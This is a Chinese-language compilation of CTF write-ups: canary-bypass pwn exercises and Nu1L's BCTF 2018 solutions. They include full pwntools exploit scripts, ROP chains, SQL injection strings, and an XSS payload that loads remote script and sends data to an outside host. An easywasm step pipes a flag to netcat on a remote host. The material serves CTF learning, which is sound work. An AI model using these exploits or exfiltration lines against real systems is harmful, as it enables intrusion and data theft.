#### 方法介绍：爆破canary
利用fork进程特征，canary的不变性，通过循环爆破canary的每一位
#### 开始分析：
有栈溢出漏洞，但是开启了栈溢出保护，又因为是线程，联想到爆破法，这题的canary地址和上题一样，先覆盖100位，再填，我们知道程序的canary的最后一位是0，所以可以一个一个地跑。
因为canary有4位，最后一位是\x00，所以还要循环3次，每一次从256（ASCII码范围）中取，有合适的+1，没有继续循环，直到跑出来，这是32位的情况，64位的话爆破7位。
最后栈溢出绕过直接执行那个函数。
payload：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin1')
#标志位,0和１
if local:
p = process('./bin1')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for i in range(3):
for i in range(256):
p.send('a'*100 + canary + chr(i))
a = p.recvuntil("welcome\n")
if "recv" in a:
canary += chr(i)
break
getflag = 0x0804863B
payload = 'a'*100 + canary + 'a'*12 + p32(getflag)
p.sendline(payload)
p.interactive()
### 题目3：bin2(原题是OJ的smashes)
#### 方法介绍：
ssp攻击：argv[0]是指向第一个启动参数字符串的指针，只要我们能够输入足够长的字符串覆盖掉argv[0]，我们就能让canary保护输出我们想要地址上的值。
#### 开始分析：
这里介绍故意触发 **_stack_chk_fail：
ssp攻击：argv[0]是指向第一个启动参数字符串的指针，只要我们能够输入足够长的字符串覆盖掉argv[0]，我们就能让canary保护输出我们想要地址上的值，举个例子：
但是我们不知道flag的位置在哪里，有个小技巧就是字符直接填充flag的位置，只要足够大，就一定能行，但是看看ida：
发现被修改了值，所以是直接打印不出来的，这可怎么办才好，这里借助大佬的博客，说ELF的重映射，当可执行文件足够小的时候，他的不同区段可能会被多次映射。这道题就是这样。这个flag应该会被映射到多个地方，也就是有副本，只要找出副本地址即可，接下来去gdb里面找：找个地址下断点，寻找CTF字符串，看到0x400d20。
这下直接写进去覆盖就好啦：
payload：**
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin2')
#标志位,0和１
if local:
p = process('./bin2')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
flag = 0x400d20
payload = ""
payload += p64(flag)*1000
p.recvuntil("Hello!\nWhat's your name?")
p.sendline(payload)
p.recv()
p.sendline(payload)
p.interactive()
验收：
如果说老老实实做也是可以的，先看看那个argv[0]在栈中的位置：
然后看看我们的输入esp到它的距离：
计算下地址差值：0x218的偏移，所以直接：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin2')
#标志位,0和１
if local:
p = process('./bin2')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
flag = 0x400d20
payload = ""
#payload += p64(flag)*1000
payload += 0x218*'a' + p64(flag)
p.recvuntil("Hello!\nWhat's your name?")
p.sendline(payload)
p.recv()
p.sendline(payload)
p.interactive()
验收：
### 题目4：bin3（原题是hgame的week2的Steins）
#### 方法介绍：
劫持 **stack_chk_fail函数，控制程序流程，也就是说刚开始未栈溢出时，我们先改写**
stack_chk_fail的got表指针内容为我们的后门函数地址，之后我们故意制造栈溢出调用
**stack_chk_fail时，实际就是执行我们的后门函数。**
#### 开始分析：
栈溢出保护，堆栈不可执行，格式化字符串漏洞，这里一开始真的没有什么思路，后来师傅给了提示：
劫持 **stack_chk_fail函数，控制程序流程，也就是说刚开始未栈溢出时，我们先改写**
stack_chk_fail的got表内容为我们的后门函数地址，之后我们故意制造栈溢出调用__stack_chk_fail时，实际就是执行我们的后门函数。
payload：
#coding=utf8
from pwn import *
context.log_level='debug'
elf = ELF('./babyfmtt')
p = process('./babyfmtt')
libc = elf.libc
system_addr = 0x40084E
stack_fail = elf.got['__stack_chk_fail']
payload = ''
payload += 'a'*5 + '%' + str(system_addr & 0xffff - 5) + 'c%8$hn' + p64(stack_fail) + 'a'*100
#gdb.attach(p,'b *0x04008DB')
p.recv()
p.sendline(payload)
p.interactive()
成功：
### 题目5：bin4
babypie
#### 开始分析：
栈溢出保护，堆栈不可执行，堆栈不可写，只有got可以改，看逻辑，先输入名字到buf，刚好0x30的大小，这里马上想到泄露canary，因为后面有个printf函数，第二次输入有栈溢出漏洞（前提是绕过了栈溢出保护了），看看有没有可以getshell的函数：
随机化地址0xA3E可以直接getshell，很好，就跳转到这里吧。
#### 大体思路：
1、因为canary的低位是\x00截断符，先用\x01去覆盖这个低位，然后打印出来后面的7位，最后加上\x00即可
2、通过填充canary实现栈溢出，跳到那个0xA3E函数处，由于随机化的地址，所以第四位不知道怎么搞，这里直接爆破第四位即可
EXP如下：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
#arch也可以是i386~看文件
local = 1
elf = ELF('./babypie')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
while True:
if local:
p = process('./babypie')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
#第一次调用尝试调用
system_addr = '\x3E\x0A'
payload = ''
payload += 'a'*0x28 +'\x01'
p.send(payload)
p.recvuntil('\x01')
canary = '\x00' + p.recv()[:7]
print hex(u64(canary))
payload = ''
payload += 'a'*0x28 + canary + 'aaaaaaaa' + system_addr
p.send(payload)
try:
p.recv(timeout = 1)
except EOFError:
p.close()
continue
p.interactive()
爆破是常规操作，不爆破也是行的，如图：
因为在read后其实前面的字节是一样的，所以只需要覆盖最后一个字节为\x3E即可：
最后检验下：
总结：这里就是利用了read函数后面有printf或者puts函数可以打印，通过覆盖低位\x0a，达到泄露低地址的目的，学习到了新技能。
### 题目6:bin5
bs
#### 开始分析：
分析逻辑可知，是创建了进程，关键逻辑在start_routine函数那里，这里知道是s的大小是0x1010，而我们的输入可以达到0x10000，很明显想到栈溢出，但是有canary保护，而且是线程，所以我们这里学习一种新招式，TSL（线程局部存储）攻击，基本思路就是我们得覆盖很多个a到高地址，直到把TLS给覆盖从而修改了canary的值为a，绕过了canary后就可以栈溢出操作了。
TLS中存储的canary在fs：0x28处，我们能覆盖到这里就好啦~当然我们不知道具体在哪里，所以只能爆破下：
这是爆破canary位置的脚本：
while True:
p = process('./bs')
p.recvuntil("How many bytes do you want to send?")
p.sendline(str(offset))
payload = ''
payload += 'a'*0x1010
payload += p64(0xdeadbeef)
payload += p64(main_addr)
payload += 'a'*(offset-len(payload))
p.send(payload)
temp = p.recvall()
if "Welcome" in temp:
p.close()
break
else:
offset += 1
p.close()
它会卡在offset为6128那里：
说明我们成功覆盖了canary，偏移量为6128。接下来就好办啦~利用栈迁移的操作+one_gadget直接getshell~
#### 大体思路：
1、通过padding爆破填充a修改TLS中的canary为aaaaaaaa，从而绕过栈溢出保护（这里必须是线程的题目，而且输入足够大才行！）
2、泄露出puts的got地址得到真实的基地址，用于getshell
3、利用栈迁移(需要有read函数和leave；ret的ROP可以用)，在bss段中开辟一个空间来写one_gadget来payload~
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
p = process('./bs')
elf = ELF('./bs')
libc = elf.libc
main_addr = 0x4009E7
offset = 6128
bss_start = elf.bss()
fakebuf = bss_start + 0x300
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
leave_ret = 0x400955
puts_got = elf.got["puts"]
puts_plt = elf.symbols["puts"]
puts_libc = libc.symbols["puts"]
read_plt = elf.symbols["read"]
p.recvuntil("How many bytes do you want to send?")
p.sendline(str(offset))
payload = ''
payload += 'a'*0x1010
payload += p64(fakebuf)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_r15_ret)
payload += p64(fakebuf)
payload += p64(0x0)
payload += p64(read_plt)
payload += p64(leave_ret)
payload += 'a'*(offset - len(payload))
p.send(payload)
p.recvuntil("It's time to say goodbye.\n")
puts_addr = u64(p.recv()[:6].ljust(8,'\x00'))
print hex(puts_addr)
getshell_libc = 0xf02a4
base_addr = puts_addr - puts_libc
one_gadget = base_addr + getshell_libc
payload = ''
payload += p64(0xdeadbeef)
payload += p64(one_gadget)
p.send(payload)
p.interactive()
这是我们的payload在栈中的分布图，可以知道puts的真实地址是6位的，所以才要补齐两个\0，最后验证下：
其实这里不用栈迁移也一样做的（栈迁移是大佬写的，下面是自己复现时做出来的）：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
p = process('./bs')
elf = ELF('./bs')
libc = elf.libc
main_addr = 0x4009E7
fgets_addr = 0x400957
offset = 6128
bss_start = elf.bss()
fakebuf = bss_start + 0x300
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
leave_ret = 0x400955
puts_got = elf.got["puts"]
puts_plt = elf.symbols["puts"]
puts_libc = libc.symbols["puts"]
read_plt = elf.symbols["read"]
p.recvuntil("How many bytes do you want to send?")
p.sendline(str(offset))
payload = ''
payload += 'a'*0x1010
payload += p64(0xdeadbeef)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(fgets_addr)
payload += 'a'*(offset - len(payload))
p.send(payload)
p.recvuntil("It's time to say goodbye.\n")
puts_addr = u64(p.recv()[:6].ljust(8,'\x00'))
print hex(puts_addr)
getshell_libc = 0xf02a4
base_addr = puts_addr - puts_libc
one_gadget = base_addr + getshell_libc
payload = ''
payload += 'a'*0x1010
payload += p64(0xdeadbeef)
payload += p64(one_gadget)
p.sendline(payload)
p.interactive()
检验下：
##### 总结：
针对于这种多线程的题目，修改TLS的canary，绕过canary，又增长了新姿势，这里提一下栈迁移，在有read函数的情况下，可以利用栈迁移的思想，到bss段是常有的事，一般是bss+0x300的位置开始写。如果read后面有puts函数或者printf函数，就可以泄露出ebp的值，从而确定栈顶指针，从而写到栈中，然后ebp写esp的地址，leave就会跳到esp去执行我们写入的东西。
### 题目7 bin6
homework
一波检查和分析
开了栈溢出保护和堆栈不可执行，看main，这里name是到bss段的，最后saybye的时候打印出来，重点看中间的程序，发现有数组，这里一开始不明感没做过这种题目，一直在想怎么泄露canary然后栈溢出去覆盖，最后ret到system，但是一直木有，师傅提示这是个新姿势，数组！数组下标溢出~学习一波先呗：
C/C++不对数组做边界检查。 可以重写数组的每一端，并写入一些其他变量的
数组或者甚至是写入程序的代码。不检查下标是否越界可以有效提高程序运行
的效率，因为如果你检查，那么编译器必须在生成的目标代码中加入额外的代
码用于程序运行时检测下标是否越界，这就会导致程序的运行速度下降，所以
为了程序的运行效率，C / C++才不检查下标是否越界。发现如果数组下标越
界了，那么它会自动接着那块内存往后写。
漏洞利用：继续往后写内存，这里就可以通过计算，写到我们的ret位置处，这样就可以直接getshell啦~
再回来这题的栈，
这里中间间隔了60，也就是15条4字节的指令，下标从0开始，那么ret的下标就是14，这样就轻松地绕过了cananry，同时这题里面有现成的system函数（0x080485FB），那么payload：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./homework')
if local:
p = process('./homework')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7701)
libc = ELF('./libc.so.6')
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
p.recvuntil("What's your name? ")
p.sendline("Your father")
p.recvuntil("4 > dump all numbers")
p.recvuntil(" > ")
p.sendline("1")
p.recvuntil("Index to edit: ")
p.sendline("14")
p.recvuntil("How many? ")
system_addr = 0x080485FB
p.sendline(str(system_addr))
p.sendline('0')
p.interactive()
#### 总结：
这里利用数组下标溢出轻松绕过canary直接到ret去getshell~完美。
后续会继续更新喔~ | 社区文章 |
# BCTF 2018
`By Nu1L`
[TOC]
比赛网址：<https://bctf.xctf.org.cn/>
比赛时间：11月27日 14:00 - 11月29日 02:00
Team-Page：<http://nu1l-ctf.com>
## PWN
### easiest
Double Free，测了一下远程，不是tcache
没有Leak
有一个后门函数
用GOT表里面的0x40做size
from pwn import *
#p = process('./easiest')
p = remote('39.96.9.148', 9999)
def add(idx, size, c):
p.recv()
p.sendline('1')
p.recvuntil('(0-11):')
p.sendline(str(idx))
p.recvuntil('Length:')
p.sendline(str(size))
p.recvuntil('C:')
p.sendline(c)
def dele(idx):
p.recv()
p.sendline('2')
p.recvuntil('(0-11):')
p.sendline(str(idx))
add(0, 0x38, 'aaa')
add(1, 0x38, 'bbb')
dele(0)
dele(1)
dele(0)
add(2, 0x38, p64(0x60203a))
add(3, 0x38, p64(0x60203a))
add(4, 0x38, p64(0x60203a))
add(5, 0x38, '\x40\x00\x00\x00\x00\x00' + p64(0x400946) * 5)
p.interactive()
### three
from pwn import *
def add(cont):
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('content:')
p.send(cont)
def edit(idx,cont):
p.recvuntil('choice')
p.sendline('2')
p.recvuntil('idx')
p.sendline(str(idx))
p.recvuntil('content:')
p.send(cont)
def dele(idx,cl = 'n'):
p.recvuntil('choice')
p.sendline('3')
p.recvuntil('idx')
p.sendline(str(idx))
p.recvuntil('):')
p.sendline(cl)
while True:
try:
p=remote('39.96.13.122', 9999)
#p=process('./three')#,env={'LD_PRELOAD':'./libc.so.6'})
add('\n')
add('\n')
add((p64(0xc0)+p64(0x21))*4)
dele(2,'y')
dele(1,'y')
dele(0)
edit(0,'\x70')
add('\x70')
add('\n')
edit(0,p64(0)+p64(0x91))
dele(1,'y')
dele(2)
dele(2)
dele(2)
dele(2)
dele(2)
dele(2)
dele(2)
edit(0,p64(0)+p64(0x51))
dele(2)
edit(0,p64(0)+p64(0x91))
dele(2,'y')
x = 0xa8#int(raw_input(),16)#
edit(0,p64(0)+p64(0x51)+'\xe8'+chr(x))
add('\xe8'+chr(x))
#add(p64(0xffffffffff600400))
add(p64(0))
dele(1)
dele(1,'y')
edit(0,p64(0)+p64(0x51)+'\x78')
edit(2,p64(0xffffffffff600400))
add('\x78')
dele(1,'y')
add('\xd8'+chr(x))
dele(0,'y')
add('\x40')
dele(0,'y')
add('\n')
dele(0,'y')
add('/bin/sh\x00')
a =0xa9#int(raw_input(),16)
b =0x26#int(raw_input(),16)
c =0x94# int(raw_input(),16)
edit(2,chr(a)+chr(b)+chr(c))
p.recvuntil('choice')
p.sendline('3')
re = p.recvuntil('idx',timeout=0.8)
if re[-1:] != 'x':
continue
p.sendline('0')
p.sendline('cat flag;bash')
re = p.recvuntil('(y/n)',timeout = 0.8)
if re:
print re
continue
p.sendline('echo 123;cat flag')
p.interactive()
except:
p.close()
continue
`BCTF{U_4r3_Ready_For_House_OF_ATUM}`
### hardcore_fmt
#coding=utf8
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.aslr = False
def pwn(p):
p.recvuntil('Welcome to hard-core fmt\n')
p.sendline('%a'*5)
p.recvuntil('0x0p+00x0.0000000000001p-10220x0.0')
addr1 = int(p.recvuntil('p-10220x0.0', drop=True) + '00', 16) - 0x100 - 0x1000
log.success('addr1: {}'.format(hex(addr1)))
addr2 = int(p.recvuntil('p-10220x0.0', drop=True) + '00', 16) - 0x1500
log.success('addr2: {}'.format(hex(addr2)))
p.sendline(str(addr2 + 0x14c0 + 0x68 + 1))
p.recvuntil(': ')
# 下一次gets会把数据读取到stack_addr中
libc_base = addr1 - 0x619000
ld_base = addr1 - 0x228000
log.success('libc_base: {}'.format(hex(libc_base)))
log.success('ld_base: {}'.format(hex(ld_base)))
mem_addr = libc_base + 0x3EB0A8 # strlen
mem_addr = libc_base + 0x3EB140 # memcpy
canary = '\x00' + p.recv(7)
log.success('cnaary: {}'.format(hex(u64(canary))))
payload = 'a'*0x108 + canary + 'b'*0x8 + p64(mem_addr) + 'c'*0x8 + p64(0xffffffffff600000) * 7
p.sendline(payload)
# leak program
p.sendline(str(addr1 + 0x30 + 0x1000))
p.recvuntil(': ')
program_base = u64(p.recv(6) + '\x00\x00') - 0x238
log.success('program_base: {}'.format(hex(program_base)))
payload = p64(program_base + 0x970) # start
p.sendline(payload)
# 第二次
p.recvuntil('Welcome to hard-core fmt\n')
p.sendline('hahaha')
p.recvuntil('hahaha')
p.sendline(str(addr2))
p.recvuntil(': ')
# 0x000000000002155f : pop rdi ; ret
payload = 'a'*0x108 + canary + 'b'*0x8 + p64(mem_addr) + 'c'*0x8
payload += p64(libc_base + 0x21560) # 栈对齐
payload += p64(libc_base + 0x000000000002155f) + p64(libc_base + 0x1B3E9A)
payload += p64(libc_base + 0x4F440)
#gdb.attach(p)
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
p = process('./hardcore_fmt')
p = remote('39.106.110.69', 9999)
pwn(p)
### SOS
from pwn import *
#p = process('./SOS', env = {'LD_PRELOAD': './libc-2.27.so'})
p = remote('39.96.8.50', 9999)
p.recvuntil('Give me the string size:')
p.sendline('0')
p.recvuntil('Alright, input your SOS code:')
payload = '\x00' * 56
payload += p64(0x400c53)
payload += p64(0x602020)
payload += p64(0x4008E0)
payload += p64(0x400AFC)
#raw_input()
p.send(payload + '\x00' * 8192)
p.recvline()
puts = p.recvline().strip()
puts_addr = u64(puts.ljust(8, '\x00'))
libc_addr = puts_addr - 0x809c0
print hex(puts_addr)
print hex(libc_addr)
system_addr = libc_addr + 0x4f440
binsh_addr = libc_addr + 0x1b3e9a
mov_qword_ptr_rsi_rdi = libc_addr + 0x1401fd
poprsi = libc_addr + 0x23e6a
poprdi = libc_addr + 0x2155f
poprdx = libc_addr + 0x01b96
open_addr = libc_addr + 0x10fc40
read_addr = 0x400900
write_addr = libc_addr + 0x110140
payload = '\x00' * 56
payload += p64(poprdi)
payload += "flag\x00\x00\x00\x00"
payload += p64(poprsi)
payload += p64(0x602080)
payload += p64(mov_qword_ptr_rsi_rdi)
payload += p64(poprdi)
payload += p64(0x602080)
payload += p64(poprsi)
payload += p64(0)
payload += p64(open_addr)
payload += p64(poprdi)
payload += p64(3)
payload += p64(poprsi)
payload += p64(0x602080)
payload += p64(poprdx)
payload += p64(100)
payload += p64(read_addr)
payload += p64(poprdi)
payload += p64(1)
payload += p64(poprsi)
payload += p64(0x602080)
payload += p64(write_addr)
#raw_input()
p.recvuntil('Alright, input your SOS code:')
raw_input()
p.send(payload + 'A' * 10000)
#p.shutdown('write')
p.interactive()
### easywasm
The WASM module is used to perform operation with the help of the outside
layer. Reversing the module we could easily found a buffer overflow caused by
`strcpy`. Since the module imports `__emscripten_run_script`, we could
overwrite the function pointer (which is actually a table index) and run some
javascript.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import requests, sys, os, urllib, IPython
s = requests.session()
#URL = 'http://localhost:23333/'
URL = 'http://39.96.13.247:9999/'
def add_person(name, is_tutor=0):
url = URL + 'add_person?'
url += 'name=' + urllib.quote(name)
url += '&is_tutor=' + urllib.quote(str(is_tutor))
print url
resp = s.get(url)
if 'person id =' not in resp.content:
raise Exception("Failed allocation")
index = int(resp.content[resp.content.index(' = ') + 3:])
return index
def change_name(idx, name):
url = URL + 'change_name?'
url += 'id=' + urllib.quote(str(idx))
url += '&name=' + urllib.quote(name)
resp = s.get(url)
print resp.content
return 'done' in resp.content
def intro(idx):
url = URL + 'intro?'
url += 'id=' + urllib.quote(str(idx))
resp = s.get(url)
return resp.content
'''
struct person_t {
i32 idx;
i32 in_use;
u8 name[60];
i32 func_idx;
}
'''
base = 4064
size = 72
idx = add_person('123', 0)
print idx
payload = 'this.a = require("child_process");//'
print len(payload)
assert len(payload) <= 60
payload = payload.ljust(60, ';') + p8(5)
print change_name(idx, payload)
print intro(idx)
payload = 'a.execSync("cat flag | nc <redacted> 9999");//'
assert len(payload) <= 60
print change_name(idx, payload)
print intro(idx)
print 'Done!'
## Reverse
### easypt
<https://github.com/andikleen/simple-pt/blob/master/fastdecode.c>
于是先找到4007C7对应的call的记录，于是就可以直接从0x52f0开始分析
利用这一份简单的代码解码之后直接把所有分支的判断结果提取出来，然后统计一波数量就可以出来了
f = open('ttt')
d = f.read()
f.close()
import re
s = r'tnt8 ([N,T]+)'
dd = re.findall(s,d)
res = ''
for i in dd:
res += i
sss = r'((NT)+)TTT'
de2 = re.findall(sss,res)
de = ''
for i in de2:
t = len(i[0])/2
de += chr(t+0x20)
print(de)
# bctf{19c512c582879daf358404a9748cfdbb}!!
## Web
### checkin
输入一个不存在的url, 看404报错 提示:
> Powered by beego 1.7.2
之前再分析gitea/gogs的CVE-2018-18925/6时, 发现
go-macaron(<https://github.com/go-macaron/session> version<0.4.0)
beego(<https://github.com/astaxie/beego> version<1.11.0)
中都存在这个问题, 由于以文件作为session存储的provider在以session cookie为键值时没过滤`./`,
于是导致了可以用任意文件作为session的bug.
先上传一张0b的图片, 把session设置成该地址, 登录后, 下载头像
解析其中的字段及类型, 发现三项( ~~后来好像改题了, 现在剩下两项了~~ )
UID int
uit int64 # 貌似这个被删掉了
username string
构造session文件, 上传到服务器,
修改gosessionid为上传的返回的地址`../../../../../../go/src/github.com/checkin/website/static/img/avatar/xxxxxxx.png`,
刷新后发现多了一个`Admin Panel`的选项, 进去之后就能看到flag.
package main
import (
"bytes"
"encoding/gob"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func DecodeGob(encoded []byte) (map[interface{}]interface{}, error) {
buf := bytes.NewBuffer(encoded)
dec := gob.NewDecoder(buf)
var out map[interface{}]interface{}
err := dec.Decode(&out)
if err != nil {
return nil, err
}
return out, nil
}
### SimpleVN
主要分为两个功能
1. 设置pug模板
这里模板的内容有个限制 :
const checkPUG = (upug) => {
const fileterKeys = ['global', 'require']
return /^[a-zA-z0-9\.]*$/g.test(upug) && !fileterKeys.some(t => upug.toLowerCase().includes(t))
}
但是因为最后存储之前两边拼凑了`#{ }`
...
console.log('Generator pug template')
const uid = req.session.user.uid
const body = `#{${upug}}`
console.log('body', body)
const upugPath = path.join('users', utils.md5(uid), `${uid}.pug`)
console.log('upugPath', upugPath)
try {
fs.writeFileSync(path.resolve(config.VIEWS_PATH, upugPath), body)
} catch (err) {
...
于是我们就可以直接进行ssti，但是注入的内容只能是字母数字和点，还不能包含`require`和`global`
渲染模板的时候有个要求 : **必须是本机访问**
1. 以服务器做代理去访问一个url(用的puppeteer[chrome])，header取自发送url时的header，然后截图返回给你
这里的要求是:
const checkURL = (shooturl) => {
const myURL = new URL(shooturl)
return config.SERVER_HOST.includes(myURL.host)
}
你发送的url的host部分要在他本地的host之中，于是顺理成章的想到用这个功能做跳板执行render，同时可以使用`file://`协议任意文件读取。（host为空）
请求`/etc/passwd`
知道了这两点，我们再回到源码中找到flag的线索
审计 config.js 发现
...
const FLAG_PATH = path.resolve(constant.ROOT_PATH, '********')
...
const FLAGFILENAME = process.env.FLAGFILENAME || '********'
...
于是题目的目标就是得到这两个值，然后用`file://`去读取，同时我们审计`app.js`发现他将flagpath设置成静态目录
.use(express.static(config.FLAG_PATH))
于是也可控制它通过`http://`协议读取flag
话不多说,`FLAG_PATH`和`FLAGFILENAME`是如何获取的呢？
首先利用设置模板功能实现`ssti`
先测试输入`this`，控制它去访问`/local/render`，发现返回结果是一个`global`对象
那么`FLAGFILENAME`就能很容易拿到：通过注入`process.env.FLAGFILENAME`，直接输出了`FLAGFILENAME`
但是因为他禁用了`require`，我们无法轻易拿到`FLAG_PATH`，就想到通过读取`config.js`的源码来拿
首先我们要找到Web路径，`process.env.PWD`是可以拿到，但因为它被解析做了html标签，chrome那边截图截不到，
这里可以利用`view-source:`让服务器的浏览器直接返回html源码
拿到了路径直接读`config.js`
拿到了flag路径读flag发现:
这里考察的是`Range`这个header成员的用法，控制返回的字节范围，通过改变`request
header`遍历字节范围，在大概2000的位置找到了flag
### babySQLiSPA
api/hints可以注入
waf:
export function checkHint (hint) {
return ! / |;|\+|-|\*|\/|<|>|~|!|\d|%|\x09|\x0a|\x0b|\x0c|\x0d|`|gtid_subset|hash|json|st\_|updatexml|extractvalue|floor|rand|exp|json_keys|uuid_to_bin|bin_to_uuid|union|like|sleep|benchmark/ig.test(hint)
}
利用gtid_subtract爆table名字，但最多140字节
>
> hint='or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)where((length(table_name)=ord('j')^ord('t')))),''))or'
长度30的时候拿到flag表：
> vhEFfFlLlLaAAaaggIiIIsSSHeReEE
然后再爆表
>
> hint='||gtid_subtract((select(concat(column_name))from(information_schema.columns)where(table_name='vhEFfFlLlLaAAaaggIiIIsSSHeReEE')),'')#
最后拿到flag
`{"error":"Malformed GTID set specification
'BCTF{060950FB-839E-4B57-B91D-51E78F56856F}'."}`
### SEAFARING1
* 评论链接bot会主动访问
* view-source:<http://seafaring.xctf.org.cn:9999/admin/> 可以发现后台一些api和参数
* handle_message.php 存在反射型XSS
* bot使用的是firefox浏览器
于是构造html让bot访问
<html>
<script>
window.onload =function(){
document.getElementById("f").submit();
}
</script>
<form method="post" action="http://seafaring.xctf.org.cn:9999/admin/handle_message.php" id="f">
<input name="token" value="<body><img src=x onerror=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,120,56,122,46,116,111,112,47,120,98,53,77,63,97,61,98,39))></body>">
</form>
</html>
这里触发了反射型xss,引入了我写的js文件
function req(url,data){
var xhr = new XMLHttpRequest();
xhr.open("POST",url,false);
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.send(data);
var resp = xhr.responseText;
return resp;
}
function getcsrf(){
var xhr = new XMLHttpRequest();
xhr.open("GET","http://seafaring.xctf.org.cn:9999/admin/index.php",false);
xhr.send();
var res = xhr.responseText;
var csrftoken = res.match(/csrf_token = \"([a-z0-9]*)\"/ig)[0].split('= "')[1].replace('"','');
return csrftoken;
}
function send(data){
location.href = "http://data.ebcece08.w1n.pw/?data="+escape(data);
}
var ress = req("http://172.20.0.2:6379/","token="+getcsrf()+"&action=view_unreads&status=3%20%20and%201%3D2%20union%20select%201%2Cload_file%280x2f70726f632f6e65742f617270%29%2C3%2C4%20from%20f111111ag%23");
send(ress);
控制bot请求后台接口发现返回了`sqlquery debug`信息
{"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked,message FROM feedbacks where uid='1' ORDER BY id DESC "}
猜测有注入，但是注入单引号发现被转义了，糟糕，有addslashes()
{"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked,message FROM feedbacks where uid='1\\'or 1#' ORDER BY id DESC "}
但是有一个接口刚好是数字型注入(view_unreads)
{"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked FROM feedbacks where is_checked=1\\' ORDER BY id DESC limit 0,50"}
爆表
{"result":[["1","admin,f111111ag,feedbacks","3","4"]],"error":""}
爆字段
{"result":[["1","flllllag","3","4"]],"error":""}
拿flag
{"result":[["1","bctf{XsS_SQL1_7438x_2xfccmk}","3","4"]],"error":""}
### SEAFARING2
一直没什么进展，打了cookie后在请求记录里发现提示:
load_file 读取文件内容：
{"result":[["1","<?php \nfunction curl($url){\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_HEADER, 0);\n $re = curl_exec($ch);\n curl_close($ch);\n return $re;\n}\nif(!empty($_POST['You_cann0t_guu3s_1t_1s2xs'])){\n $url = $_POST['You_cann0t_guu3s_1t_1s2xs'];\n curl($url);\n}else{\n die(\"Hint: Just for web2! :)\");\n}\n?>","3","4"]],"error":""}
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
$re = curl_exec($ch);
curl_close($ch);
return $re;
}
if(!empty($_POST['You_cann0t_guu3s_1t_1s2xs'])){
$url = $_POST['You_cann0t_guu3s_1t_1s2xs'];
curl($url);
}else{
die("Hint: Just for web2! :)");
}
?>
一看就是要我们打内网了...
读了一下`/etc/hosts`
{"result":[["1","127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::0\tip6-localnet\nff00::0\tip6-mcastprefix\nff02::1\tip6-allnodes\nff02::2\tip6-allrouters\n172.20.0.3\tb557ee5b8a02\n","3","4"]],"error":""}
拿到本机ip`172.20.0.3`
内网扫端口发现172.20.0.2:4444
是一个`selenium server`
找到了一篇文章讲`selenium server`未授权访问的危害和利用
<http://www.polaris-lab.com/index.php/archives/454/>
发现可以利用`file://`协议列目录读文件，本地搭建后抓包，然后利用gopher重放报文即可
按照上面文章所说本地搭建环境，通过console操作抓包
创建新session的报文
POST /wd/hub/session HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 49
Accept: application/json; charset=utf-8
Origin: http://127.0.0.1:4444
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Referer: http://127.0.0.1:4444/wd/hub/static/resource/hub.html
Accept-Encoding: gzip, deflate, br
